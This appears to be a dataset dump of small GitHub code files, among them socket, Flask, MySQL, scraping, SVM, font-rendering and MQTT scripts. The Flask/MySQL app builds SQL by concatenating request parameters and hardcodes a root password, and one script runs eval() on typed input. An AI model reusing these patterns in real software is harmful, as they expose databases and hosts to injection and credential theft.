+{"seq_id":"43723970895","text":"import socket #part of standard library \n\n# the socket() function returns a socket object whose methods implement the various socket system calls.\n\n# AF_INET is an address family that is used to designate the type of addresses that your socket can \n# communicate with (in this case, Internet Protocol v4 addresses). When you create a socket, you have \n# specify its address family, and then you can only use addresses of that type with the socket.\n\n# SOCK_STREAM means that it is a TCP socket. There are other types\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #socket object\n\n# bind() takes in a tuple of (IP address, port)\n# gethostname() grabs the address of my machine aka localhost\n# port = 1234 is most likely a port not being used, lower num ports may be busy\n\n# s.bind((socket.gethostname(), 1234)) #listens to just my laptop\n\ns.bind(('0.0.0.0', 1234)) #listens to all incoming connections\n\n# our server needs to -listen- for incoming requests\n# listen() takes in a queue - our queue is 5 long\n# queue -  could be larger if this server has large incoming num of requests\n\ns.listen(5)\n\n# we will listen forever for a connection\nwhile True:\n    #we will accept anybody that connects\n    # clientsocket - client's socket object\n    # address - where client is coming from/their IP\n    clientsocket, address = s.accept()\n\n    print(f'Conneced to IP: {address}')\n\n    # sending info to the clientsocket\n    #send() takes in message and you need to specify its type. We are using bytes here\n    clientsocket.send(bytes('Hello from the server!', 'utf-8'))\n","repo_name":"mashikro/tcp-socket","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13739439267","text":"import numpy as np\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\n#################################################\n# Database Setup\n#################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n\n# Save reference to the table\nMeasurements = Base.classes.measurements\nStations = Base.classes.stations\n\n# Create our session (link) from Python to the DB\nsession = Session(engine)\n\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n\n#################################################\n# Flask Routes\n#################################################\n\n@app.route(\"/\")\ndef welcome():\n    \"\"\"List all available api routes.\"\"\"\n    return (\n        f\"Available Routes:<br/>\"\n        f\"/api/v1.0/precipitation<br/>\"\n        f\"/api/v1.0/stations<br/>\"\n        f\"/api/v1.0/tobs<br/>\"\n        f\"<br/>\"\n        f\" Search all temps from current to specified date.<br/>\"\n        f\"/api/v1.0/YYYY-mm-dd<br/>\"\n        f\"<br/>\"\n        f\"Search a date range using the template below.<br/>\"\n        f\"/api/v1.0/YYYY-mm-dd/YYYY-mm-dd<br/>\"\n    )\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n    \"\"\"Precipiation by date for 2017\"\"\"\n    # Query prcp data for 2017\n    results = session.query(Measurements.date, Measurements.prcp).\\\n    filter(func.strftime(\"%Y\", Measurements.date) == \"2017\").all() \n\n    # Create a dictionary\n    date = [result[0] for result in results[:-1]]\n    prcp = [result[1] for result in results[:-1]]\n    dic = dict(zip(date, prcp))\n\n    return jsonify(dic)\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n    \"\"\"Return a list of stations\"\"\"\n    # Query all stations\n    results = session.query(Stations.station, Stations.name).all()\n\n     # Create a dictionary \n    station = [result[0] for result in results[:-1]]\n    name = [result[1] for result in results[:-1]]\n    dic = dict(zip(station, name))\n\n    return jsonify(dic)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n    \"\"\"Tobs data by date for 2017\"\"\"\n   # Query tobs data for 2017\n    results = session.query(Measurements.date, Measurements.tobs).\\\n    filter(func.strftime(\"%Y\", Measurements.date) == \"2017\").all() \n\n     # Create a dictionary \n    date = [result[0] for result in results[:-1]]\n    tobs = [result[1] for result in results[:-1]]\n    dic = dict(zip(date, tobs))\n\n    return jsonify(dic)\n\n@app.route(\"/api/v1.0/<start>\")\ndef start(start):\n    \"\"\"Tmin Tmax and Tavg \"\"\"\n    # Query all dates greater than or equal to start date\n    results = session.query(Measurements.tobs).\\\n    filter(Measurements.date >= start).all()\n\n    # Create a dictionary \n    tobs = list(np.ravel(results))\n\n    # Define Tmax, Tmin, Tavg\n    tobs_max = np.max(tobs)\n    tobs_min = np.min(tobs)\n    tobs_mean = np.mean(tobs)\n\n    dic = {\"Max Temp\": int(tobs_max), \n           \"Min Temp\": int(tobs_min), \n           \"Avg Temp\": int(tobs_mean)\n          }\n    return jsonify(dic)\n\n@app.route(\"/api/v1.0/<start>/<end>\")\ndef start_end(start, end):\n    \"\"\"Tmin Tmax and Tavg \"\"\"\n    # Query all dates greater than or equal to start date\n    results = session.query(Measurements.tobs).\\\n    filter(Measurements.date >= start, Measurements.date >= end ).all()\n\n    # Create a dictionary \n    tobs = list(np.ravel(results))\n\n    # Define Tmax, Tmin, Tavg\n    tobs_max = np.max(tobs)\n    tobs_min = np.min(tobs)\n    tobs_mean = np.mean(tobs)\n\n    dic = {\"Max Temp\": int(tobs_max), \n           \"Min Temp\": int(tobs_min), \n           \"Avg Temp\": int(tobs_mean)\n          }\n    return jsonify(dic)\n\n\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"AGBarbour/SQLalchemy","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73417771921","text":"# import autokeras\r\nimport math\r\n\r\nimport pandas\r\nimport numpy as np\r\n\r\nfrom sklearn.svm import SVC\r\n\r\nfiles = ['final_input_T1.csv', 'final_input_T6.csv', 'final_input_T7.csv', 'final_input_T9.csv', 'final_input_T11.csv']\r\n\r\nextracted_list = 3\r\ntest_file = files[extracted_list]\r\ntrain_files = files[:extracted_list] + files[extracted_list + 1:]\r\n\r\n# Auxiliary functions\r\ndef get_class(classes):\r\n\tmax_i = 0\r\n\tfor i in range(len(classes)):\r\n\t\tif classes[max_i] < classes[i]:\r\n\t\t\tmax_i = i\r\n\treturn max_i\r\n\r\ndef best_prediction(features):\r\n\tglobal model\r\n\tresult = model.predict(np.array(features))\r\n\tvals = []\r\n\tfor feat in range(len(features)):\r\n\t\tmax_index = 0\r\n\t\tfor i in range(len(result[feat])):\r\n\t\t\tif result[feat][i] > result[feat][max_index]:\r\n\t\t\t\tmax_index = i\r\n\t\tvals.append(['Component_GENERATOR', 'Component_HYDRAULIC_GROUP', 'Component_GENERATOR_BEARING', 'Component_TRANSFORMER', 'Component_GEARBOX'][max_index])\r\n\t\r\n\treturn vals\r\n\r\n# Loading training values\r\nX = []\r\nY = []\r\nfor file in train_files:\r\n\tprint('=============' + file + '=============')\r\n\t\r\n\tdf = pandas.read_csv(file)\r\n\tY_df = df[['Component_GENERATOR', 'Component_HYDRAULIC_GROUP', 'Component_GENERATOR_BEARING', 'Component_TRANSFORMER', 'Component_GEARBOX']]\r\n\tX_df = df.drop(columns=['Component_GENERATOR', 'Component_HYDRAULIC_GROUP', 'Component_GENERATOR_BEARING', 'Component_TRANSFORMER', 'Component_GEARBOX'])\r\n\r\n\t# drop 99%+ correlated columns\r\n\tX_df = X_df.drop(columns=['Grd_Prod_PsbleCap_Avg', 'Rtr_RPM_Min', 'Grd_Prod_PsblePwr_Avg', 'Gen_Phase3_Temp_Avg', 'Amb_WindSpeed_Est_Avg', 'Gen_Phase2_Temp_Avg', 'Rtr_RPM_Avg', 'Grd_Prod_CurPhse2_Avg', 'Rtr_RPM_Max', 'Gen_Phase3_Temp_Avg', 'Grd_Prod_CurPhse3_Avg', 'Grd_Prod_ReactPwr_Avg', 'Grd_Prod_Pwr_Avg'])\r\n\r\n\t# drop 98%+ correlated columns\r\n\tX_df = X_df.drop(columns=['Prod_LatestAvg_TotReactPwr', 'Prod_LatestAvg_ActPwrGen1', 'Prod_LatestAvg_TotActPwr', 'Grd_Prod_CurPhse1_Avg', 'Grd_Prod_PsbleCap_Min', 'Grd_Prod_PsblePwr_Max'])\r\n\r\n\tX.extend(X_df.values.tolist())\r\n\tY.extend(Y_df.values.tolist())\r\n\t\t\r\n\r\nprint('Cleaning data')\r\nempties = []\r\nfor i in range(len(X)):\r\n\tfor f in X[i]:\r\n\t\ttry:\r\n\t\t\tif math.isnan(f) or math.isinf(f):\r\n\t\t\t\tempties.append(i)\r\n\t\t\t\tbreak\r\n\t\texcept Exception:\r\n\t\t\tprint(f)\r\n\t\t\t\r\nfor index in sorted(empties, reverse = True):\r\n\tdel X[index]\r\n\tdel Y[index]\r\n\t\r\nY = [get_class(f) for f in Y]\r\n\r\n\r\n# Loading testing values\r\ndf = pandas.read_csv(test_file)\r\nY_df = df[['Component_GENERATOR', 'Component_HYDRAULIC_GROUP', 'Component_GENERATOR_BEARING', 'Component_TRANSFORMER', 'Component_GEARBOX']]\r\n\r\nX_df = df.drop(columns=['Component_GENERATOR', 'Component_HYDRAULIC_GROUP', 'Component_GENERATOR_BEARING', 'Component_TRANSFORMER', 'Component_GEARBOX'])\r\n# drop 99%+ correlated columns\r\nX_df = X_df.drop(columns=['Grd_Prod_PsbleCap_Avg', 'Rtr_RPM_Min', 'Grd_Prod_PsblePwr_Avg', 'Gen_Phase3_Temp_Avg', 'Amb_WindSpeed_Est_Avg', 'Gen_Phase2_Temp_Avg', 'Rtr_RPM_Avg', 'Grd_Prod_CurPhse2_Avg', 'Rtr_RPM_Max', 'Gen_Phase3_Temp_Avg', 'Grd_Prod_CurPhse3_Avg', 'Grd_Prod_ReactPwr_Avg', 'Grd_Prod_Pwr_Avg'])\r\n# drop 98%+ correlated columns\r\nX_df = X_df.drop(columns=['Prod_LatestAvg_TotReactPwr', 'Prod_LatestAvg_ActPwrGen1', 'Prod_LatestAvg_TotActPwr', 'Grd_Prod_CurPhse1_Avg', 'Grd_Prod_PsbleCap_Min', 'Grd_Prod_PsblePwr_Max'])\r\n\r\nX_test = X_df.values.tolist()\r\nY_test = Y_df.values.tolist()\r\n\r\nempties = []\r\nfor i in range(len(X_test)):\r\n\tfor f in X_test[i]:\r\n\t\ttry:\r\n\t\t\tif math.isnan(f) or math.isinf(f):\r\n\t\t\t\tempties.append(i)\r\n\t\t\t\tbreak\r\n\t\texcept Exception:\r\n\t\t\tprint(f)\r\n\t\t\t\t\r\nfor index in sorted(empties, reverse = True):\r\n\tdel X_test[index]\r\n\tdel Y_test[index]\r\n\r\nY_test = [get_class(f) for f in Y_test]\r\n\r\n\r\n# Testing C_exp values\r\nmax_val = (-1, -4)\r\n\r\nscores = []\r\n\r\nfor C_exp in range(20, -21, -1):\r\n\tprint('C_exp = ' + str(C_exp))\r\n\tsvm = SVC(kernel='linear', C=2**C_exp, verbose=False)\r\n\t\t\r\n\tprint('Fitting')\r\n\t# Fit to all data\r\n\tsvm.fit(X, Y)\r\n\r\n\tprint('Testing')\r\n\tscore = svm.score(X_test, Y_test)\r\n\tscores.append(score)\r\n\tprint('score = ' + str(score))\r\n\tif score > max_val[0]:\r\n\t\tmax_val = (score, C_exp)\r\n\r\nprint('max_val = ' + str(max_val))\r\n\r\nprint()\r\nprint('==== SCORES ====')\r\nprint(scores)\r\n\r\nprint('Enter commands now (exit and help exist):')\r\nwhile True:\r\n\tcode = input()\r\n\tif code == 'exit':\r\n\t\tbreak\r\n\tif code == 'help':\r\n\t\tprint('best_prediction([test_features[...]])')\r\n\t\tcontinue\r\n\ttry:\r\n\t\tprint(eval(code))\r\n\texcept Exception as e:\r\n\t\tprint('Error')\r\n\t\tprint(e)\r\n\r\n\r\n","repo_name":"digigon1/school-projects","sub_path":"tese/input/datasets/edp/training/fixed/training_svm.py","file_name":"training_svm.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72389874321","text":"# Import the required libraries\r\nfrom playwright.async_api import async_playwright\r\nimport asyncio\r\nimport time\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom bs4 import BeautifulSoup\r\nimport re\r\n\r\n# Define the URL to scrape\r\nurl = \"https://www.complex.management/legal/documents/STSMA-S:1\"\r\n\r\n\r\nasync def scrape(url):\r\n    \"\"\"Scrape the URL.\"\"\"\r\n    async with async_playwright() as p:\r\n        browser = await p.chromium.launch(headless=False)\r\n        page = await browser.new_page()\r\n\r\n        # Navigate to the URL\r\n        await page.goto(url)\r\n\r\n        # Wait for the page to load\r\n        await page.wait_for_load_state(\"networkidle\")\r\n\r\n        # Get the page content\r\n        content = await page.content()\r\n\r\n        # Close the browser\r\n        await browser.close()\r\n\r\n        # Create a BeautifulSoup object\r\n        soup = BeautifulSoup(content, \"html.parser\")\r\n\r\n        # Find the table of contents\r\n        toc = soup.find_all(\"div\", class_=\"tab-content\")\r\n\r\n        # Find all the panels\r\n        panels = toc[0].find_all(\"mat-expansion-panel\")\r\n\r\n        # Loop through the panels\r\n        for panel in panels:\r\n            # Find the panel title\r\n            title = panel.find(\"span\", class_=\"index-button ng-star-inserted\")\r\n\r\n            # Find the panel content\r\n            content = panel.find(\"div\", class_=\"mat-expansion-panel-content\")\r\n\r\n            # Find all the links\r\n            links = content.find_all(\"a\")\r\n\r\n            # Print the title\r\n            print(title.text)\r\n\r\n            # Print the links\r\n            for link in links:\r\n                print(link.text)\r\n\r\n            # Print a new line\r\n            print(\"\\n\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    asyncio.run(scrape(url))\r\n","repo_name":"harmindersinghnijjar/netsu-dagneels-scraping-solutions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3256006156","text":"__author__ = 'Chris Ottersen'\n\nvalues = {\n    \"u0\": None,\n    \"message_id\": None,\n    \"u1\": None,\n    \"thread_id\": None,\n    \"u2\": None,\n    \"FILETIME_0\": None,\n    \"FILETIME_1\": None,\n    \"direction\": None,\n\n    \"u3\": None,\n    \"u4\": None,\n    \"u5\": None,\n\n    \"u6\": None,\n    \"u7\": None,\n    \"u8\": None,\n    \"u9\": None,\n    \"u10\": None,\n    \"FILETIME_2\": None,\n    \"u11\": None,\n    \"u11a\": None,\n    \"phone_0\": None,\n    \"SMStext\": None,\n    \"content\": None,\n    \"phone_1\": None,\n    \"phone_2\": None,\n    \"phone_3\": None,\n    \"message\": None,\n    \"u12\": None,\n    \"FILETIME_3\": None,\n    \"sim\": None\n}\n","repo_name":"WindowsPhoneForensics/find_my_texts_wp8","sub_path":"find_my_texts_wp8/recovery_expressions/sms_text/default/type0/full.py","file_name":"full.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42125449060","text":"from distutils import dirname\n\nfrom mgl2d.graphics.quad_drawable import QuadDrawable\nfrom mgl2d.graphics.shader_program import ShaderProgram\nfrom mgl2d.graphics.texture import Texture\nfrom mgl2d.math.vector2 import Vector2\n\n\nclass CharDef:\n    def __init__(self):\n        self.id = 0\n        self.x = self.y = 0\n        self.width = self.height = 0\n        self.offset_x = self.offset_y = 0\n        self.advance_x = 0\n        self.page_index = 0\n        # not supported (1 = blue, 2 = green, 4 = red, 8 = alpha, 15 = all channels)\n        self.texture_channel = 0\n        self.letter = ''\n\n\n# File format: http://www.angelcode.com/products/bmfont/doc/file_format.html\nclass BMFontDef:\n    def __init__(self, filename):\n        self._page_files = []\n        self._char_definitions = {}\n        self._parse_file(filename)\n\n    @property\n    def size(self):\n        return self._size\n\n    @property\n    def page_width(self):\n        return self._page_w\n\n    @property\n    def page_height(self):\n        return self._page_h\n\n    @property\n    def bold(self):\n        return self._bold\n\n    @property\n    def italic(self):\n        return self._italic\n\n    @property\n    def page_files(self, ):\n        return self._page_files\n\n    def get_char(self, letter):\n        return self._char_definitions[letter]\n\n    def extents_for_char(self, char):\n        oc = ord(char)\n        if oc not in self._char_definitions:\n            return 0, 0\n        c = self._char_definitions[oc]\n        width = c.advance_x\n        height = c.height + c.offset_y\n        return width, height\n\n    def _parse_file(self, filename):\n        with open(filename) as file:\n            for line in file.readlines():\n                tokens = self._tokenize_line(line)\n                section, data = tokens\n                if not section:\n                    continue\n\n                if section == 'info':\n                    self._parse_info(data)\n                elif section == 'common':\n                    self._parse_common(data)\n                elif section == 'page':\n                    self._parse_page(data)\n                elif section == 'chars':\n                    pass\n                elif section == 'char':\n                    self._parse_char(data)\n\n    def _parse_info(self, data):\n        self._face = data['face'].replace('\"', '')\n        self._size = int(data['size'])\n        self._bold = True if int(data['bold']) == 1 else False\n        self._italic = True if int(data['italic']) == 1 else False\n        self._unicode = True if int(data['unicode']) == 1 else False\n        self._stretch_h = int(data['stretchH'])\n        self._smooth = int(data['smooth'])\n        self._super_sampling = int(data['aa'])\n        # self._char_paddind = data['padding']\n        # self._char_spacing = data['spacing']\n\n    def _parse_common(self, data):\n        self._line_height = int(data['lineHeight'])\n        self._base = int(data['base'])\n        self._page_w = int(data['scaleW'])\n        self._page_h = int(data['scaleH'])\n        self._packed = int(data['packed'])\n        self._page_files = [''] * int(data['pages'])\n\n    def _parse_page(self, data):\n        self._page_files[int(data['id'])] = data['file'].replace('\"', '')\n\n    def _parse_char(self, data):\n        char = CharDef()\n        char.id = int(data['id'])\n        char.x = int(data['x'])\n        char.y = int(data['y'])\n        char.width = int(data['width'])\n        char.height = int(data['height'])\n        char.offset_x = int(data['xoffset'])\n        char.offset_y = int(data['yoffset'])\n        char.advance_x = int(data['xadvance'])\n        char.page_index = int(data['page'])\n        char.texture_channel = int(data['chnl'])\n        char.letter = data['letter'].replace('\"', '')\n        if char.letter == 'space':\n            char.letter = ' '\n        self._char_definitions[char.letter] = char\n\n    def _tokenize_line(self, line):\n        line = line.splitlines()[0]\n        if not line:\n            return None, None\n\n        data = {}\n        tokens = []\n        for part in line.split('='):\n            tokens.extend(part.rsplit(' ', 1))\n        section, tokens = tokens[0], tokens[1:]\n\n        for k, v in zip(tokens[::2], tokens[1::2]):\n            data[k] = v\n\n        return section, data\n\n\n# Supports multiple font files with unique sizes\nclass Font:\n    def __init__(self):\n        self._font_faces = {}\n        self._page_textures = {}\n        self._character_program = ShaderProgram.from_sources(vert_source=self.vert_shader_base,\n                                                             frag_source=self.frag_shader_texture)\n        self._quad = QuadDrawable()\n        self._quad.shader = self._character_program\n\n    def load_bmfont_file(self, filename):\n        base_dir = dirname(filename)\n        font_def = BMFontDef(filename)\n        self._font_faces[font_def.size] = font_def\n        self._page_textures[font_def.size] = []\n        for file in font_def.page_files:\n            path = base_dir + '/' + file\n            self._page_textures[font_def.size].append(Texture().load_from_file(path))\n\n    def draw_string(self, screen, font_size, string, x, y, scale=1):\n        font = self._font_faces[font_size]\n        for char in string:\n            c = font.get_char(char)\n            self._quad.texture = self._page_textures[font_size][c.page_index]\n            self._quad.size = Vector2(c.width, c.height) * scale\n            self._quad.pos = Vector2(x + c.offset_x * scale, y + c.offset_y * scale)\n            self._character_program.bind()\n            self._character_program.set_uniform_2f('area_pos', c.x / font.page_width, c.y / font.page_height)\n            self._character_program.set_uniform_2f('area_size', c.width / font.page_width, c.height / font.page_height)\n            self._quad.draw(screen)\n            x += c.advance_x * scale\n\n    def draw_char(self, screen, font_size, char, x, y, scale=1):\n        font = self._font_faces[font_size]\n        c = font.get_char(char)\n        s = self._character_program\n\n        self._quad.texture = self._page_textures[font_size][c.page_index]\n        self._quad.size = Vector2(c.width, c.height) * scale\n        self._quad.pos = Vector2(x, y + c.offset_y * scale)\n        self._quad.shader = s\n        s.bind()\n        s.set_uniform_matrix4('projection', screen.projection_matrix.m)\n        s.set_uniform_2f('area_pos', c.x / font.page_width, c.y / font.page_height)\n        s.set_uniform_2f('area_size', c.width / font.page_width, c.height / font.page_height)\n        self._quad.draw(screen)\n\n        return c.advance_x\n\n    vert_shader_base = \"\"\"\n        #version 330 core\n\n        uniform mat4 model;\n        uniform mat4 projection;\n        uniform vec2 area_pos;\n        uniform vec2 area_size;\n\n        layout(location=0) in vec2 vertex;\n        layout(location=1) in vec2 uv;\n\n        out vec2 uv_out;\n\n        void main() {\n            vec2 texture_out = uv;\n            if (gl_VertexID == 0) {\n                texture_out = area_pos;\n            } else if (gl_VertexID == 1) {\n                texture_out = vec2(area_pos.x, area_pos.y+area_size.y);\n            } else if (gl_VertexID == 2) {\n                texture_out = vec2(area_pos.x+area_size.x, area_pos.y+area_size.y);\n            } else if (gl_VertexID == 3) {\n                texture_out = vec2(area_pos.x+area_size.x, area_pos.y);\n            }\n            \n            vec4 vertex_world = model * vec4(vertex, 1, 1);\n            gl_Position = projection * vertex_world;\n            uv_out = texture_out;\n        }\n        \"\"\"\n\n    frag_shader_texture = \"\"\"\n        #version 330 core\n\n        in vec2 uv_out;\n        out vec4 color;\n\n        uniform sampler2D tex;\n\n        void main() {\n            color = texture(tex, uv_out);\n        }\n        \"\"\"\n","repo_name":"maxfish/mgl2d","sub_path":"mgl2d/graphics/font.py","file_name":"font.py","file_ext":"py","file_size_in_byte":7748,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"8568307096","text":"from django.db import models\nfrom scraper import models as sm\nimport datetime, decimal\n\nclass ShipRelation(models.Model):\n    ship_primary = models.ForeignKey(sm.Ship, related_name='%(class)s_primary', on_delete=models.CASCADE)\n    ship_secondary = models.ForeignKey(sm.Ship, related_name='%(class)s_secondary',on_delete=models.CASCADE)\n    playercount = models.IntegerField()\n    ship1median = models.DecimalField(max_digits=6, decimal_places=5, default=0)\n    ship2median = models.DecimalField(max_digits=6, decimal_places=5, default=0)\n    updated_at = models.DateTimeField(auto_now=True)\n    \n    def update_edge(self):\n        #temporary plot to use extract_stats\n        plot = sm.Plot(ship_primary = self.ship_primary, ship_secondary = self.ship_secondary)\n        stats = plot.extract_stats()\n        self.playercount = len(stats)\n        stats.sort(key=lambda x: x[1][0])\n        self.ship1median = stats[round(self.playercount/2)][1][0]\n        stats.sort(key=lambda x: x[1][1])\n        self.ship2median = stats[round(self.playercount/2)][1][1]\n        self.save()\n        \n    def get_edge(self):\n        if datetime.datetime.now(datetime.timezone.utc) - self.updated_at > datetime.timedelta(days = 1):\n            self.update_edge()\n        #define this as the performance of players who have both ships vs\n        #the performance of those who own either/or both ships, averaged between both nodes\n        #must cast to decimal since ship1median is a float if generated, decimal if extracted from db\n        perfratio = (decimal.Decimal(self.ship1median) / decimal.Decimal(self.ship_primary.median_wr) + decimal.Decimal(self.ship2median) / decimal.Decimal(self.ship_secondary.median_wr))/2\n        return {\n            'ship1median': self.ship1median,\n            'ship2median': self.ship2median,\n            'playercount': self.playercount,\n            'source': self.ship_primary.pk,\n            'target': self.ship_secondary.pk,\n            'perfratio': perfratio\n        }\n\n","repo_name":"droptabled/shipstats","sub_path":"popularity/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8756370208","text":"_numbers = []\n_continue = True\n_result = 0\n\nfor i in range(5):\n    while True:\n        user_input_value = input(f\"Ingrese el elemento {i + 1} \\n\")\n        if user_input_value.isnumeric():\n            _numbers.append(int(user_input_value))\n            break\n        else:\n            print(\"Por favor ingrese un valor numérico\")\n\nfor number in _numbers:\n    _result += number\n\nprint(f\"El resultado de la sumatoria de todos los elementos es: {_result}\")\n","repo_name":"geronm12/practicaPython","sub_path":"a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44339757619","text":"import paho.mqtt.client as mqtt\nimport time\nimport RPi.GPIO as GPIO\n\n#setmode\nGPIO.setmode(GPIO.BCM)\n\n#pin_setup for led.\n\nGPIO.setup(4,GPIO.OUT)\n\n\n\n\ndef on_message(client, userdata, message):\n\tmsg = str(message.payload.decode(\"utf-8\"))\n\tif(msg == \"on\" or msg==\"ON\" or msg==\"On\"):\n\t\tGPIO.output(4, GPIO.HIGH)\n\telif(msg == \"off\" or msg==\"OFF\" or msg==\"Off\"):\n\t\tGPIO.output(4, GPIO.LOW)\n\tprint(\"received message: \" ,str(message.payload.decode(\"utf-8\")))\n\nmqttBroker =\"broker.hivemq.com\"\n\nclient = mqtt.Client(\"internet\")\nclient.connect(mqttBroker) \n#Loop_Start\nclient.loop_start()\n\nclient.subscribe(\"internet\")\nclient.on_message=on_message \n\ntime.sleep(90000)\n#Loop_End\nclient.loop_stop()\n","repo_name":"NAVIN-STAR/my_web","sub_path":"led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70168639122","text":"# ask user for budget and if its an interger then convert it to float.\ndef check_float(question):\n    while True:\n        try:\n            float_num = input(question) # ask question\n            return float(float_num) # convert to float and return it\n\n        except ValueError: # if not a float then ask again\n            print(\"Please enter a valid number\")\n\n\nwhile True:\n    print(check_float(\"What is your budget? \"))\n","repo_name":"LikelyLucid/Level-2-Assesment","sub_path":"01_Enter_Budget/Enter_Budget_V2.py","file_name":"Enter_Budget_V2.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13851781663","text":"\n##### EXEMPLO DE TABELA MYSQL PARA UTILIZAÇÃO DO CÓDIGO\n\n'''\nCREATE TABLE TB_PRODUTOS \n(ID INT NOT NULL AUTO_INCREMENT NOT NULL KEY,\nPRODUTO VARCHAR(30) NOT NULL UNIQUE);\n'''\n\n\nfrom flask import Flask, request\nimport mysql.connector\nfrom mysql.connector import Error\n\n\napp = Flask(__name__)\n\n@app.route(\"/produtos\", methods=[\"GET\"])\ndef todos_produtos():\n    try:\n        con = mysql.connector.connect(host='localhost',database='db_Alunos',user='root',password='abc123de45')\n\n        consulta_sql = \"select * from tb_produtos\"\n        cursor = con.cursor()\n        cursor.execute(consulta_sql)\n        linhas = cursor.fetchall()\n        return linhas\n        \n    except Error as e:\n        print(\"Erro do Banco de Dados:\", e)\n    finally:\n        if (con.is_connected()):\n            con.close()\n            cursor.close()\n\n\n@app.route(\"/produtos/adicionar\", methods=[\"POST\"])\ndef add_produto():\n    produto = request.args.get('prod')\n    try:\n        con = mysql.connector.connect(host='localhost',database='db_Alunos',user='root',password='abc123de45')\n        consulta_sql =  \"insert into tb_produtos (produto) VALUE ('\"+produto+\"')\"\n        print(consulta_sql)\n        cursor = con.cursor()\n        cursor.execute(consulta_sql)\n        con.commit()\n        return \"O produto foi adicionado com sucesso foi adicionado com sucesso!\"\n    \n    except Error as e:\n        print(\"Erro do Banco de Dados:\", e)\n    finally:\n        if (con.is_connected()):\n            con.close()\n            cursor.close()\n\n@app.route(\"/produtos/remover\", methods=[\"DELETE\"])\ndef delete_produto():\n    produto = request.args.get('prod')\n    id = request.args.get('id')\n    if produto == None:\n        produto =\"\"\n    if id is None:\n        id = \"0\"\n    try:\n        con = mysql.connector.connect(host='localhost',database='db_Alunos',user='root',password='abc123de45')\n        cursor = con.cursor()\n        consulta_sql = \"delete from tb_produtos where produto = '\"+produto+\"' or id = \"+id\n        cursor.execute(consulta_sql)\n        linhas = todos_produtos()\n        con.commit()\n        count = 0\n        prod = \"\"\n        for linha in linhas:\n            if int(id) in linha or produto.lower() == linha[1].lower():\n                prod = linha[1]\n                count += 1\n        if count == 1:\n            return \"O produto \"+prod+\" foi removido com sucesso\"\n        else:\n            return \"O produto não existe na base de dados\"\n        \n    \n    except Error as e:\n        print(\"Erro do Banco de Dados:\", e)\n    finally:\n        if (con.is_connected()):\n            con.close()\n            cursor.close()\n\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"GuilhermeMPC/Desenvolvimento-de-APIs-e-Microsservi-os","sub_path":"AC03/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1047064313","text":"import sys\nimport configparser\nimport mysql.connector\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\n\n\nif len(sys.argv)==3: \n    param = sys.argv[1]\n    project = sys.argv[2]\n    if param == '-p' and project == 'mcc':\n     dbase = config['mysqlDB']['db2']\n     print(dbase)\t\n    elif param == '-p' and  project == 'jc': \n     dbase = config['mysqlDB']['db1']\n     print(dbase)\n    else:\n     print(\"Use proper command\")\nelse:\n    print(\"Use proper command\")\n\ncnx = mysql.connector.connect(user=config['mysqlDB']['user'],\n                              password=config['mysqlDB']['pass'],\n                              host=config['mysqlDB']['host'],\n                              port=config['mysqlDB']['port'],\n                              database=dbase)\n\ntry:\n    cursor = cnx.cursor()\n    cursor.execute(\"\"\"\n\t\tSELECT u.id, u.email, u.first_name, u.last_name, GROUP_CONCAT( sg.event_id) AS 'Events', GROUP_CONCAT(sg.user_ip) AS 'User_ip' FROM users u JOIN sendgrid_events_users sg ON sg.user_id = u.id WHERE  u.is_subscribed =1 AND u.is_active=1 GROUP BY sg.user_id\n\t\"\"\")\n    result = cursor.fetchall()\n    print(result)\nfinally:\n    cnx.close()","repo_name":"AnujAzrenkar/DukeQA","sub_path":"unitIII.py","file_name":"unitIII.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
